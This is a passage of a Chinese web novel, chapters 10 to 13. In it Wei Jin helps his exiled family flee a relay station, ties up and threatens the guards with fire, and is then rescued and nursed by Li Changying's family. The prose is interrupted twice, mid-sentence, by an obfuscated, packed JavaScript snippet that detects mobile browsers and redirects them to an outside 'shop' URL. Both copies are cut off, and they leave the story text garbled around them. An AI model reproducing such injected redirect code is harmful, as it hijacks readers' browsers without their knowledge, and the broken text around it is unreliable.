林秀平叹气,“直接寻一处僻静山林下葬,何必还大老远带回来,折腾着这位大人不安宁?” 说起这个,厉长瑛笑容洋溢地畅想,“我想给老大人找个好地方长眠,这儿山清水秀,还有山神庙,有人路过叩拜,也能借一丝香火,万一这座山已被神弃,魏老大人这样的人物,没准儿能成山神,受世人供奉。” 鬼神之说,太过虚幻,可生者往往深信不疑。 厉长瑛自觉她这个主意,相当妙。 林秀平哑然失笑,“你这还骄傲起来了……” “为什么不呢?” 做了一件日后回想起来也问心无愧的事,当然值得骄傲。 不止,每天很努力地生活,也值得骄傲。 哪怕只是活着,照样很值得骄傲…… 厉长瑛就是很骄傲。 厉蒙和林秀平彼此对视,其实眼里也都是喜欢和自豪。 他们本也不是要责怪她。 再是夫妻感情深厚,世道不好,日子总归是辛苦的,如果没有一个这样的女儿,哪里有那么多勇气努力生活。 厉长瑛回来,他们一家也要准备重新上路。 离开的时候,万里无云,一家人收拾好东西,棚屋就留在这里。 厉长瑛:“都两室了,我再晚回来两天,你们夫妻日子都过起来了吧?” 厉蒙:“你是有些碍眼了。” “娘,你看我爹啊~” 驴:“啊--啊哦--” 林秀平轻笑。 · 邺县,小驿馆—— 魏堇拿出藏在小侄子衣服里的小银鱼,买通驿馆喂马的小吏给翁植送了个口信。 继续流放,只有死路一条。 祖父已逝,魏家人还得活下去…… 10.第 10 章 “翁先生,魏堇又烦扰您了。” 牲畜圈遮挡的暗处,魏堇越发清瘦,不过几日,肩膀过于瘦削,同样一件衣衫显得更加空荡荡了。 他才十七岁,声音不是少年的清朗,而是沉郁的低哑,全无鲜活。 “不必介怀,若烦扰,翁某便不应邀而来了。” 翁植看着他,叹气,“堇小郎,身体为重,否则谈何将来。” “魏家如今只我一个男丁可支撑,我自是会保重身体。” 他口中说着“保重”,声音里却并无多少在意,只是陈述。 同样是十七岁,他与厉长瑛说话的语调全然不同,那才是活着的样子。 翁植不免再次叹息,随即认真道:“有何事是翁某能做的,你尽管吩咐吧。” 不远处,泼皮听着二人似有似无的对话,低低地嗤了一声,不耐烦地扔掉手里摆弄的干草。 他蹲在这儿放风,若非知道他在这儿,根本察觉不到,几乎完美隐匿。 好一会儿后,魏堇和翁植沟通完,翁植来到泼皮身边,低声道:“咱们走吧。” 两人悄悄往驿馆无人看管的墙边摸过去。 他们这一次不是买通了人进来,而是学厉长瑛一样,和泼皮偷偷摸摸翻墙进来的。 驿馆并不是他们从前以为的严密如铁桶,没钱当然要用没钱的法子。 两人没有厉长瑛那么灵巧,互相帮助,笨拙地翻出去后,便迅速隐入黑夜,躲着更夫和宵禁巡逻不引人注意地返回翁植家中。 小月睡了,小山担心,不敢睡。 泼皮一进门,便指着小山极烦躁道:“咱们自个儿的日子都过得鸡零狗碎的,你还逞英雄去帮别人,万一惹了大麻烦,牵连到你我,还有这俩孩子,你后悔都晚了。” 翁植一言不发地摊开手掌,四个小银鱼躺在他手心,“魏家子怎可能仰人鼻息,咱们帮着做了事,剩下的是报酬。” “他们还有东西呢,要不说瘦死的骆驼比马大。” 泼皮见钱眼开,眉开眼笑,伸手去抢小银鱼。 翁植刷地合上手指,让他抓了个空。 泼皮扫兴,口是心非,“这也不算什么好东西,如今根本不好出手。” “那也是银子。”翁植反问,“这回心甘情愿了吧?” 泼皮赖皮赖脸,“看你说的,我也是讲义气的人,啥时候不甘愿了。” 第二日,县城再一次被夜色笼罩。 关押魏家的屋子里,魏堇交代众人接下来的安排。 “稍后你们跟翁先生他们先行离开驿馆,出城不需要盘查,城门一开就立即出城,躲在那日路过的林中等我收好尾去寻你们,咱们便扮作难民去太原郡。” 太原郡太守秦升曾是魏老大人的学生,魏老大人又有恩于他,魏家如今不求东山再起,只求保住如今的人,隐姓埋名地活下去。 魏家大房夫人梁静娴担忧,“若秦太守不愿帮我们,怎么办?” 这并不是没有可能,打从魏家出事,有人为他们求情,但也有更多的人跟他们撇清关系。 就连她和两个儿媳的娘家,都怕受到牵连,对她们的落难只能视而不见。 “如果不能在太原郡得庇护……”魏堇面上带着木然的冷静,给出下一个方向,“我们也出关。” “一群老弱,出关怎么活?” 大夫人明知不该,还是忍不住喃喃:“如果不是老太爷遗言,以你的才名,大可选一个人投效……” 她的两个儿子都死了,只剩下孤儿寡母。 曾经,大儿媳楚茹世家出身,魏家以宗妇聘之;二儿媳詹笠筠同样出身显赫,明媚动人,嫁入府时,嫁妆都压弯了扁担。 如今呢,二十来岁本该灿烂的年纪,颜色尽失,狼狈不堪。 若是她们拿了和离书自去改嫁,倒还容易过活,偏偏两个人都舍不得孩子。 只要是魏家子,都得流放,楚茹有一个八岁的女儿魏雯、一个六岁的儿子魏霆,詹笠筠有一个三岁的独子魏霖,孩子绊住了她们的脚。 流放艰苦,他们从东都出来,数日奔波,全靠双腿,路才只走了四分之一,魏老大人便去世了。 大人都受不了,瘦的不成人形,更何况孩子。 可能一场病,就夭折了。 孩子们好不容易熬过了牢狱,这一路上,他们吃喝都紧着孩子先,前几日淋了雨,一家人紧张至极,不错眼地盯着,三个孩子还是有些着凉,脸色蜡黄,嘴唇干裂,瞧着便心痛。 而大房如珠如宝养大的女儿魏璇,原本快要成亲,魏家一出事,婚事也退了。 大夫人眼里泛泪,痛苦地看向身边的骨肉至亲,“咱们经不起折腾了……” 魏堇眼神没有聚焦。 祖父最后只留下两道遗言: 一是,皇朝存世一日,魏家子便不可以魏家之名与朝廷对立,不可入叛军做幕僚,不可以魏家之学教百姓陷于战火,使魏家背负不忠不义之罪责。 二是,若有余力,便庇护些许百姓,以赎罪过。 若是祖父刚过世,他便不遵遗言,还要加一个不孝…… “胡人不擅理政,奚州各族混杂,若我改换姓名投作胡人幕僚,只为护佑你们,不害汉人,也不算违背祖父遗言。” 魏堇语气有些寡淡,像是未过心未过脑,身体本能替他权衡利弊,吐了出来。 他在对过世的祖父阳奉阴违。 魏家其他人听后欲言又止,他们既觉得魏堇若真这般实在委屈,又不知除他所说,还能如何自保。 大夫人看着本该白玉映沙、褎然举首的少年郎这般,越加难过,“你也还年轻啊~” 魏堇眸光黯淡,“总归是我父亲犯下大错……” 父债子偿,天经地义。 “咚——咚咚!” 三更天一慢两快的锣声梆声响起。 两道黑影出现在驿馆墙外,泼皮踩着翁植翻了进来,比上一次又熟练了两分。 翁植一个肾虚无力的中年书生,在墙外等着。 泼皮左右张望、狗狗祟祟地摸到关押魏家人的屋外,轻轻敲了敲门。 屋内隐约的交谈声息了,片刻后,脚步声渐行渐近,魏堇打开门。 泼皮猫着腰,警惕地不住回头瞄。 魏堇道:“兵吏皆不在此。” 泼皮不信,再仔细一听,好像有吃酒吃醉的声音,便一脸“你不早说”的神情,直起腰来,“那还不快……快……走……” 话说不利索了。 美、美人…… 话本里一样的美人儿~~~~ 泼皮睁大了眼睛,痴痴地盯着门内。 魏堇微微回头,瞧见身后的魏璇,眉头微蹙,横移一步,面色冷凝地挡住他的视线。 泼皮还想探头去瞧,对上魏堇的眼睛,不禁畏缩,又想起屋里的小姐,清了清嗓子,挺胸抬头,一本正经,“赶紧走吧,别让人发现了。” 墙下—— 魏堇和泼皮与外头的翁植对上了信号,随即便合力托举着孩子先过去。 泼皮总是不由自主地盯着魏璇走神发痴。 魏璇和大夫人、楚茹、詹笠筠也注意到了泼皮的目光,皆不喜,可眼下的境况,她们也不能挑剔来帮他们的人。 三个孩子皆过去后,便是魏家的女人们。 泼皮知道他是个下等人,自觉地扶墙半蹲做脚踏,想到魏家的小姐要踩在她身上,还心生荡漾。 等到魏璇真踩在他身上,踩哪儿酥哪儿,果真荡漾。 大夫人最后一个,心神不宁,“阿堇……” 魏堇摇头,“伯娘,走吧,晚些我便去与你们汇合。” 大夫人也到了墙外,魏堇抬手欲托泼皮过去。 “不敢不敢,我可不敢。” 泼皮嘴上刻薄,可不敢真去踩他,自个儿退远些,助跑,上墙…… 手勾上了墙头,脚蹬着墙使出吃奶的劲儿扑腾,还是滑了下来。 泼皮瞥向魏堇的眼神尴尬,讪笑一下,又退远,助跑…… 魏堇在他脚蹬上墙的一瞬间,伸手托了他一把。 泼皮成功上去,坐在墙头多看了魏堇两秒。 他居高临下,魏堇仰头。 他没见高人一等,魏堇清癯苍白也毫无卑乞。 泼皮第一次觉得,原来气度是这样的,有权有势的人也不都是飞扬跋扈、蛮横凶残。 翁植在下面催,他翻身下去,一到魏璇面前,又开始装相。 只剩下魏堇一个人在墙内。 “堇小郎,真不用翁某留下帮你吗?” 魏堇道:“翁先生不必露面了,日后你们还在邺县生活,万一拖累也不妥。” 翁植一人倒也罢了,他还带着两个娃娃,便没有再多言,只是临走时回望了一眼墙面,心道:纵使小吏冒犯欺凌,待他们凶恶,纵使被薄待辜负,魏家子也不愿轻易伤及无辜之人性命……唉~ 他们走后,魏堇一个人在驿馆内走动。 驿馆大堂,值守的小吏和押送兵全都醉成烂泥,睡得死沉。 他找了麻绳,将人一一捆起来,期间有人醉醺醺地醒过来,他也没惊慌,给了一拳,助眠。 全都捆好,魏堇走到其中一个人事不知的押送兵那儿,在他身上摸索片刻,在腰间取出一颗指甲大小的金珠。 金珠上原本有一根红绳,白日,红绳“不小心”断裂,掉在这个嗜酒的押送兵面前。 这押送兵瞬间起了贪念,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292406|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是飞扑过去抢夺了金珠,藏起来时恶狠狠地瞪视魏堇,眼神警告他不要声张。 当时,魏堇安静地垂下眼,像是怕了,不敢声张。 这押送兵欣喜若狂,转身便迫不及待地出去买酒。 而后,魏堇和堂姐魏璇故意在另一个押送兵路过时做了一场戏—— 魏璇颤着声音哽咽:“那颗金珠是咱们最后的物件儿了,要留到涿郡买冬衣保命的,现在被人抢走了,还怎么活下去啊?” 魏堇道:“即便如此,也不能大肆宣扬,那些押送兵知晓,便是分了,也不会还回,只能等寻到机会,悄悄取回来……” 魏璇极真情实感,“万一拿不回来,也太便宜那人了……” “他定然也不敢声张,实在拿不回来,也可鼓动他破财,得些吃喝。” …… 魏堇端坐在椅子上,靠着时间,手中无意识地把玩着金珠。 这颗金珠,确实是留着保命的,也确实是他们最后值钱的东西了。 魏家是一座高楼,高楼平地起,经过了一层层地垒建,高楼轰塌,却只有一瞬。 他们根本来不及准备后手,也藏不了太多东西。 那之后,魏家人在不见天日的御史台大牢里经过了极漫长的审判和羁押,身上值钱的东西早就被狱卒搜刮干净,这几次拿出来的都是极小的物件儿,藏在了孩子身上,藏在了头发里…… 魏家人与这些押送兵相处有些时日了,早就摸清楚了他们的心性,不需要费力去买通,只要一颗贵重的金珠,便可放大他们的贪念,引得他们放纵。 也不是什么巧妙的计策。 这个法子不成,另想他法便是,所幸,也没多费一遭事儿。 而没有翁植二人帮忙,他也能利用他们的贪念得手,只是离城前要麻烦些,一家子一起从驿馆出去,也过于显眼了。 “咚——咚、咚、咚、咚!” 五更天,寅时初的锣声走远。 魏堇起身,提了半桶凉水来,全都浇在了押送官的头上。 押送官冰得一激灵,醒酒,看到魏堇,双目迷蒙到清晰,也发现了他们的处境,喝骂:“魏堇!你要干什么!” 不再面对魏家其他人,魏堇终于也不用再掩饰阴郁和空洞,懒得说话。 所有人都被捆在柱子上。 他在行凶! 押送官色厉内荏地怒骂:“罪臣逃匿,罪加一等!你们魏家都想死吗!” “死了,倒是一劳永逸……可我不能死啊。” 魏堇手指不自然地动了动,羡慕过后,更多的是乏力。 他不能死。 偏偏是他,不是其他兄长,不是他那个惹祸的爹…… 魏堇提起桌上喝剩下的酒,砸在柱子上,酒水和酒壶碎片天女散花似的扬了众吏兵一身一脸。 他又拿起油灯。 吏兵陆陆续续醒了,见到这一幕,毛骨悚然。 有人叱骂…… 有人求饶…… 有人惊恐…… 魏堇只无动于衷地看着他们,直到他们越来越癫狂,才恹恹道:“不一定会烧死你们,我先点牲畜圈……” 吏兵们面露惊惧。 魏堇站在押送官面前,听着他的骂声自顾自地说道:“如果你们侥幸活着,你们有两个选择:上报我们魏家人跑了,你们渎职降罪;或者,一场大火,魏家人都死于其中,尸骨无存。” 他看似给他们两个选择,实际上只给了一个。 他们为了保全,会下意识地选择后一个。 魏堇低眉瞅了一眼地上的碎片,不着痕迹地踢远了些,漠然道:“不过如果你们运气不好,也烧死了,死无对证,就不需要再解释了。” 他怎么能用这么半死不活的语调说出这么疯癫的话?! 吏兵们看着他走出去,叱骂的人目眦欲裂,惊恐求饶的人涕泗横流。 片刻后,魏堇站在关押他们的屋子门口,随意一撇,油灯落在稻草上,瞬间点燃。 火光照应在他脸上,暖意融融,他眉眼间却毫无波动。 就像……不是在纵火,是……点了个哑火。 晨光熹微,天际泛着浅白。 魏堇解放了圈里的牲畜,免得它们遭无妄之灾,然后牵走了一只不算显眼的驴,半遮脸,正大光明地从后门出去。 他直奔城门,轻松出去。 同一时间,有早起的人发现了驿馆走火,吏兵们也在惊慌失措之中想起用酒壶碎片自救。 一众人紧急救火时,魏堇骑着驴赶到了约定的地方。 满地狼藉的脚印,没有应该等在这里的人。 魏堇心一瞬间抽痛,眼神迷茫。 人呢……为什么不见了? 11.第 11 章 厉家人要转道去上党郡,方向与邺县相悖,要往西北走。他们临时修整的山头在邺县南部,沿着来时的路下山便可。 一家三口一改随缘的赶路风格,明确了目标,信心满满地踏上路途,然后迷了两次路,纠正了两次,方才在夜半时分踏上邺县西北去往上党郡的那条官道。 他们多走了些冤枉路,也谁都不埋怨谁,反倒经过一些曲折找到对的路时,还都挺高兴。 林秀平坐在驴车上,困倦出声:“找个地方,你们父女俩歇歇脚吧。” 她多数时间都坐在驴车上,只路不好时下来步行,尚且疲惫不堪,更何况全程靠双腿的父女俩。 驴子踢踏的也慢了。 人畜皆疲。 厉蒙开始找合适的歇脚处,半个时辰后,他们路过一个空无一人的废弃茶水棚,便停了下来。 厉长瑛打了个哈欠,进到棚子里,便捞过个破长凳,一屁股坐下。 长凳腿已瘘烂,不堪她粗暴的动作,直接折腿儿。 厉长瑛甚至还没来得及反应,就随着“咔嚓”的断裂声栽在了地上。 林秀平吓一跳,“阿瑛!” 厉长瑛短短地回应了一声,手扶着桌子坐起,“我没事儿。” 林秀平放松,叮嘱:“小心些。” 不远处,厉蒙正在拴驴,随口道:“她皮糙肉厚,摔一下更结实。” 厉长瑛在哪儿摔倒,直接就在哪儿歇着,屈膝踩在长凳板上,揉捏着小腿,松解使用过度而紧绷的肌肉。 厉蒙松开了绑着的驴嘴,让它也松快松快,吃点儿歇着。 “啊--哦,啊哦--” 驴嘴一自由,就开始嚎。 厉长瑛嫌它叫得难听,“要不还是堵上吧。” 林秀平维护:“先前它憋狠了,叫两嗓子不碍事儿,左右也没人……” 她话音刚落,路的前方便传来一串儿驴叫。 他们家的驴一听,叫得更欢。 那头回应的叫声也越来越大。 还呼应上了。 厉长瑛看向她娘,这是没人?这还有驴呢。 林秀平:“……” 深更半夜,恶木穷林,人不比野兽无害。 厉蒙和厉长瑛皆提高警惕,看似平常的姿势,随时能够反攻。林秀平也后退到父女俩防护的角落里,不妨碍不拖累他们。 不多时,四个男人牵着一头驴出现在茶水棚外。 这附近只有这么一个歇脚处。 四人走进茶水棚时,借着厉家人点起的火,打量了他们几眼。 父女俩回视。 双方都在衡量对方的武力和危险性。 茶水棚里有三张桌子,厉家靠边占了一张,他们选了另一张靠边的桌子坐下。 不言而喻。 井水不犯河水。 厉家父女俩收回视线,但也没有放松警惕。 而两头陌生驴隔着茶水棚,好像隔着银河的牛郎织女,叫声此起彼伏,扰人耳朵。 那头的一个男人先不耐烦了,骂了一句:“再叫,剁了你这畜生做火烧!” 厉家不想惹麻烦,厉长瑛起身,重新绑住了自家驴的嘴。 它还不乐意,鼻子冲着厉长瑛喷气儿,蹄子蠢蠢欲动。 厉长瑛粗暴地甩了它一巴掌,落在驴头上。 对面驴俩眼睛瞪得像铜铃,瞬间也老实了。 深夜回归了应有的静谧。 厉长瑛坐回到桌边,低声道:“水烧开喝完,咱们就走吧。” 厉蒙和林秀平皆点头。 另一侧,四个男人闲坐着,低声聊了起来—— “咱们接下来咋办?回邺县吗?” “这才出来一天半,回去太早了。” “也是。” “这趟活儿,捞个驴也不亏了,回去都咬死了口风,否则传出去,影响以后接活儿。” “大哥你放心,兄弟几个都有数。” “你们也听到了,那小子家人失踪了。他们不知道,咱们能不知道吗?很有可能是被流民拐走,卖去匈奴做奴隶。” “那些人下手可比咱们狠多了,他自个儿不要命,咱们哥几个犯不着陪着他疯。” “是,咱们又没下死手,还留了他一条命呢。” “不过那小白脸身板儿弱得很,你看他挨了几下就倒地动不了,说不准晕死过去,啥时候就被野兽啃了呢。” “那也怪不了咱们。” 四个人说着,还故意笑得大声,明显是说给厉家人听,恐吓他们。 林秀平垂眼看不出神色。 厉蒙和厉长瑛则是面不改色,无动于衷。 如今这世道,杀人越货屡见不鲜,他们一家能自保已是万幸,路见不平伸张正义也得量力而行。 厉长瑛也已经不是最初的厉长瑛了,她学会智取了。 俗称,玩儿阴的。 厉长瑛借着去板车上拿碗,悄悄取了她娘一包药粉,揣在腰间。 四个男人余光瞥向厉家人,见他们全无畏色,皆有些扫兴,但也息了挑衅的心。 有恃才能无恐,万一真冲突起来,他们自个儿受伤,得不偿失。 四个男人的注意力从厉家人身上移开。 “要是回去太早,那姓翁的来问,咱们也不好解释,在山里蹲几天再回去。” “到时候就说送到了,还能多赚一笔。” 姓翁? 厉长瑛敏感地眉头一跳。 然而他们接下来的对话都没再提到,厉长瑛无法分辨。 锅里,水咕嘟咕嘟地沸腾。 厉长瑛起身先给爹娘盛了一碗,然后自个儿端着一碗站在旁边吹着热气。 山林里寒凉,一口热水饮下去,能从胃暖到四肢。 四个男人眼神又挪向了他们。 上赶着不是买卖,厉长瑛当作没看见。 有些父母,孩子撅起屁股,就知道她不放什么好屁。 厉蒙和林秀平头也不抬,专心喝热水。厉蒙甚至还因为太烫,嘬出声儿来。 另一侧,其中一个男人冲着厉蒙颐指气使道:“兄弟,也给哥几个一口热水喝呗。” 厉蒙和林秀平同时停顿,而后,厉蒙道:“出门在外,遇见就是缘分,一口热水,当然没问题。” 他示意厉长瑛倒给他们。 厉长瑛放下碗,走到锅旁边,不着痕迹地挡住了那些人的视线,迅速掏出药粉,倒下去。 她第一次干这种事儿,手法不熟练,倒到了锅边上。 林秀平表情都跟着一紧,然后眼瞅着厉长瑛动作大喇喇地用袖子抹掉,“……” 这心态,真是干坏事儿的一把好手。 竟然是她生的。 而厉长瑛杵在那儿片刻,转头大言不惭地问:“你们搁啥喝,没有碗吗?” 四个男人解下身上的水壶,递给离他们近的一个人,那人拿到了中间的桌子上。 隔着一张桌子交易……交换水。 厉长瑛怕沾到,没拿碗盛,直接端着锅往他们水壶里倒,倒进去还不如溢出来的多。 不过她动作粗犷,除了心知肚明的厉家夫妻俩,四个男人一点儿也没怀疑什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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逃出生天、柳暗花明皆是虚幻,哪怕只是想要隐姓埋名过平凡的日子,也只是奢望罢了…… 这就是魏家的命数。 他,乃至于魏家的其他人,都不可能挣脱。 天亮之后,没死的话,魏堇可能还会爬起来。 前路遥遥,荆棘塞途,没死的话,也都会继续找下去…… 现在,就这样吧。 魏堇缓缓闭上眼…… “堇小郎,这是第三次见了吧,你怎么越来越狼狈?” 伴随着生机勃勃的声音,一个脑袋忽然出现在他上方。 魏堇不可置信地睁开眼,怔楞地看着她。 春风乍起,杲杲日出,厉长瑛的发丝都在阳光下闪着暖融融的光。 魏堇意外地发现,上方的树竟然也抽了芽,嫩黄嫩黄的,春意茸茸。 厉长瑛眉眼灿烂,在他眼前摆了摆手,“你还好吧?被打太狠了?” 魏堇下意识反驳:“不是被打,只是交锋后略有不敌。” 厉长瑛嘴微抽,“那你怎么不动了?” “我只是累了,歇一会儿……” 声音里满是倦意,又似有一丝放松,彻底合上了眼。 厉长瑛叫了他几声,又伸手推了推他肩膀,都没反应。 “嘴真硬啊。” 12.第 12 章 厉长瑛为了找人,走在父母前头。 魏堇昏过去,她就蹲在魏堇身边儿守着,等她爹娘过来。 百无聊赖,目光从草啊树啊天啊地啊晃过,最后落在了魏堇身上。 他长得好看毋庸置疑,但是人太瘦太苍白,好看便打了折扣,又添了点儿可怜兮兮的感觉。 脸颊轻微凹陷,睁开的时候,眼睛显得更大,眼球很黑,眼白里都是血丝,闭上的时候,眼底青黑太重,浓黑的睫毛垂下来,血色浅淡的唇轻抿着,心事重重的。 锁骨、腕骨都突出得格外明显,腰…… 厉长瑛伸手悬在他腰上方比量,震惊地微微睁大眼睛。 “你在对人家行什么不轨?” 姗姗来迟的厉蒙质问她。 厉长瑛举起手,四指并拢,拇指张开,比量着,“他一个男人的腰,只有这么细!” 说完又往自个儿腰上比,越发惊奇。 厉蒙噎住,都不知道评价她什么好。 林秀平下驴车,走过去,看到魏堇后怜惜道:“这孩子,是太瘦了。” 紧接着,她话锋一转,“不过长得真好。” 厉蒙不屑,“男人就得高大健壮,长得好有什么用,肩不能扛手不能提的。” 林秀平嗔道:“人家是读书人,你当是粗人呢。” “读书人躺在这儿,我这粗人能让熊躺下。” 厉长瑛戳穿:“爹,你真见到熊,你也得躺。” 厉蒙瞪她,“你捡的人,你自个儿经管。” 自个儿管就自个儿管。 厉长瑛摆弄魏堇。 他比她以为的还要轻很多,起身的时候,厉长瑛使了个大劲儿,差点儿没撅过去。 林秀平指着板车,“放这儿。” 然后她骑上另一头驴,厉蒙和厉长瑛一人牵一个,又去找新的落脚处。 荒山野岭,也不是总能碰到可以遮风避雨的棚屋破庙,他们便寻了个靠近水源的平坦无人处,暂时修整。 魏堇昏睡,魏家其他人不知去向,可能不会停太久,他们便只割了干草,堆出个可以避风的地方。 厉长瑛抱上抱下。 魏堇受伤,得检查上药,厉蒙是唯一一个男人,只能由他来。 厉长瑛去弄柴禾烧水了,林秀平抱着一床被子站在草堆外面。 厉蒙脱魏堇的衣服,腰带都比人多缠了半圈儿,不禁想到厉长瑛先前的行为,腰确实细。 男人腰细屁用没有,就得有力。 厉蒙对他排骨似的身材嗤之以鼻,直到瞥见他里裤某一处的弧度,表情一瞬间意味深长,“瘦是瘦……底子还行……” 他声音不大,林秀平听不清,询问:“伤得重吗?” 厉蒙没全脱了,给他留了一条底裤,撸起裤腿检查完又给撸下去,才扬声道:“身上骨头没坏,就是青紫得厉害。” 林秀平把被子递给他,“那你快给他盖上,别着凉了。” 厉蒙接过去盖好,才让她过去。 林秀平仔细检查,看到手脚面露不忍,“这孩子受苦了~” 厉蒙这次没说什么风凉话。 厉长瑛烧上水,过来询问情况,得知后惊得探头进去瞧,“手指断了?!” 魏堇躺靠在铺了被子的草堆上,右手手臂露在外头,右侧肩膀也半露。 厉长瑛只顾着看手。 “这么好看的手……”林秀平指着他的无名指和小指,叹息,“也不知道遭了多少罪。” 仔细看,是不太一样。 厉长瑛问:“能治好吗?” “应该伤很久了,已经长上,估计使用不那么灵活了。” 林秀平又指向他的脚,蹙着眉头不忍多看,“脚底磨破了没长好,是烂的。” 厉长瑛不忍直视,回忆起之前见到魏堇的两面,他走动几乎没有任何异样,表情也再平静不过,竟然一直忍着疼吗? 每一步都是钻心的疼,反复的摩擦,反复的忍耐,还要不露声色。 厉长瑛想想都觉得疼,忍不住感叹:“真狠啊。” 厉蒙和林秀平深以为然。 魏堇需要擦拭一下身体,清洗过伤口再上药,小工厉长瑛烧好水端过来,蹲在外头洗帕子递进去,等她爹擦完递出来,再洗再递…… 好半天才擦完,厉蒙扔出一卷脏衣服,“洗了去。” 厉长瑛:“?” 厉蒙像是预料到她的反应,“我只给你娘洗,你娘不能给别的男人洗,男孩儿也不行。” 总不能光着,或者继续穿脏衣服,他们全家都看不下眼。 厉长瑛只能拿着魏堇的衣服转身。 “去哪儿?” 厉蒙叫住她。 “不是洗衣服吗?” “兑好水端过来洗,我上完药你得照看他,难道要我和你娘照看?” 自个儿捡回来的麻烦,得自个儿受着。 厉长瑛默默放下衣服,去端水。 上药比清理伤口快,厉蒙粗略地弄完就不管了。 厉长瑛坐在魏堇身边儿,哼哧哼哧地洗他的衣服,嘴里头嘟嘟囔囔:“我这是看在你病了的份儿上,才这么伺候你,我挟恩图报,肯定不能白伺候……” 她说话的时候,魏堇眼皮动了动,缓缓睁开了眼。 一只滚烫的手握住了厉长瑛的手腕。 说是握,不如说是搭,几乎没有力气。 厉长瑛止住话,扭头,目光沿着手腕上多出来的一只骨节分明的手一路向上,落在了魏堇晕红的脸上,“你醒了?” 魏堇眼中雾蒙蒙的,没什么神,没有回复。 分明是意识不清楚,没醒。 厉长瑛皱眉,另一只手手背贴上他的手背,又倾身探上他的额头,立马扯开嗓子喊:“娘——他发烧了!” 魏堇身体红烫,意识迷离,人却在打哆嗦。 厉长瑛捏着他的手腕塞回被子,被子上提,在脖颈处掖了掖,一丝多余的皮肉都不露。 但她弄完一转头,魏堇的手又伸了出来,凑到她身侧。 厉长瑛再次抓住塞回去。 魏堇的手还不老实,肩膀掖好的被子又有下滑的趋势。 厉长瑛不耐烦,干脆用手臂压在他两侧,捆住他,不准他乱动。 “阿瑛?!” 林秀平惊呼一声,像是看到了什么难以入目的场面,不好意思地捂住眼,撇头。 厉蒙则是“啧”了一声。 也不怪两人多想。 两人女上男下,厉长瑛上半身压着魏堇,而魏堇半睁着眼,水蒙蒙地看着厉长瑛,红晕从面颊一直延伸到被子里,他相貌又极好,活脱脱的女恶霸欺凌弱小。 厉长瑛一无所觉,撒开了手起来,立刻告状:“娘,你给她看看,是不是脑子烧坏了。” 魏堇烧迷糊了,一得了放松,手便从被子里钻了出来。 “看吧。” 厉长瑛一副她没说错的神情。 还不如是见色起意呢,好歹没那么蠢。 夫妻俩一言难尽地看着她。 而林秀平观察片刻,猜测道:“他是不是想做什么?” 魏堇的右手半垂着,手腕微拱,上面一根红绳穿着一颗金珠,在肤色的对比下,颜色极为鲜亮。 动作就像是展示那颗金珠。 厉长瑛盯了一会儿,食指试探地勾住红绳,将金珠从他手腕上褪了下来。 金珠脱 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厉长瑛睡梦中察觉到他在动,手下意识紧了紧,感觉温度不对,眼睛都没睁,手就附上了他的额头,含混地呢喃:“怎么又烧起来了?” 魏堇身体僵硬,猜到她夜里在照顾他,轻声叫道:“厉姑娘。” 几息后,厉长瑛倏地睁开眼睛,与他对视,如释重负,“你醒了!” 魏堇的教养,无论如何也不能坦然地跟一个姑娘同被而眠。 他不着痕迹地后撤,控制着语气,状似平静道:“厉姑娘,我的衣服……” “我昨日洗了,应该风干了。” 厉长瑛麻利地起身,潇洒地离开草堆。 她若无其事地走了,留魏堇一个人神情恍惚地裹着被子。 厉长瑛很快返回来,衣服递给他,快人快语,“凉,你放被子里暖暖再穿。”说完又转身离开。 魏堇:“……” 想说什么又没机会说,事后再提起恐怕添不自在,只能轻叹一口气,暂时按下。 此时浑身难得很清爽,魏堇意识到他被照顾得很好。 昨日昏沉,隐约察觉到并不是厉长瑛给他换衣擦药,后来……魏堇缓缓摩挲手腕,并无心疼。 他烧了一夜,穿衣服时浑身软绵无力,穿完后,额头、颈上都出了薄汗,等到想起身的时候,脚上的痛感格外的强烈,竟是试了几次都爬不起来。 厉长瑛听到动静,进来就看见魏堇瘫软地跌在滚得乱七八糟的被子上,忙道:“你这是干什么,病还没好,还是躺着吧,别吹了风再着凉。” 他一个男人在姑娘面前,如此弱不禁风,情何以堪。 可是魏堇无论如何也起不来,反倒折腾出一身汗,腹部的憋胀越发难耐,最终还是难以启齿地张了口,“我想去更衣。” 厉长瑛恍然大悟,“你早说啊,这有什么不好说的。” 她大大方方地抓起魏堇的手腕,稍一使力便将人拉起来,“我扶你去。” 在野外,只能露天解决。 厉长瑛本来想扶他到背人的地方就行,可魏堇坚持要绕到几棵树后,她也只能扶着他过去。 “小心,别摔了。” 厉长瑛叮嘱了一句,转身要推开。 “厉姑娘。” 魏堇叫住她。 “嗯?” 厉长瑛疑问。 魏堇许久没有这样多的情绪了,忍着难堪,状似冷静道:“劳烦走远些。” 他不想她听到声音。 厉长瑛了然后,通情达理地走远,才自言自语道:“还怪讲究的。” 13.第 13 章 人活一世,保有温良便是对旁人最大的礼貌。 底层摸爬惯了的人,谋生尚且艰难,有时候确实会省略很多礼仪,被很多上层人鄙夷为“粗俗不堪”。 厉长瑛遇到的男人,要么是厉蒙这样,不管男女,好活就行;要么是审视她鄙夷她不似寻常女子那般温软;要么是凝视意淫她女性的身体;要么是彭家人那样,只用人性来区分人,偶尔会忘了她是个姑娘。 魏堇表露出来了男女有别,界限分明,这是又一种态度。 厉长瑛意识到之后,就不会再凭白无故地离太近。 她扶魏堇回去后,特地找了她爹,想跟他交换,她来保护母亲林秀平,厉蒙偶尔去照顾一下魏堇。 厉蒙嫌弃,“都逃难了,咋这么麻烦。” “麻烦是麻烦,还能扔了吗?”招来麻烦的厉长瑛难得气弱,嘴巴却不弱,“良心能安吗?” 厉蒙无言以对。 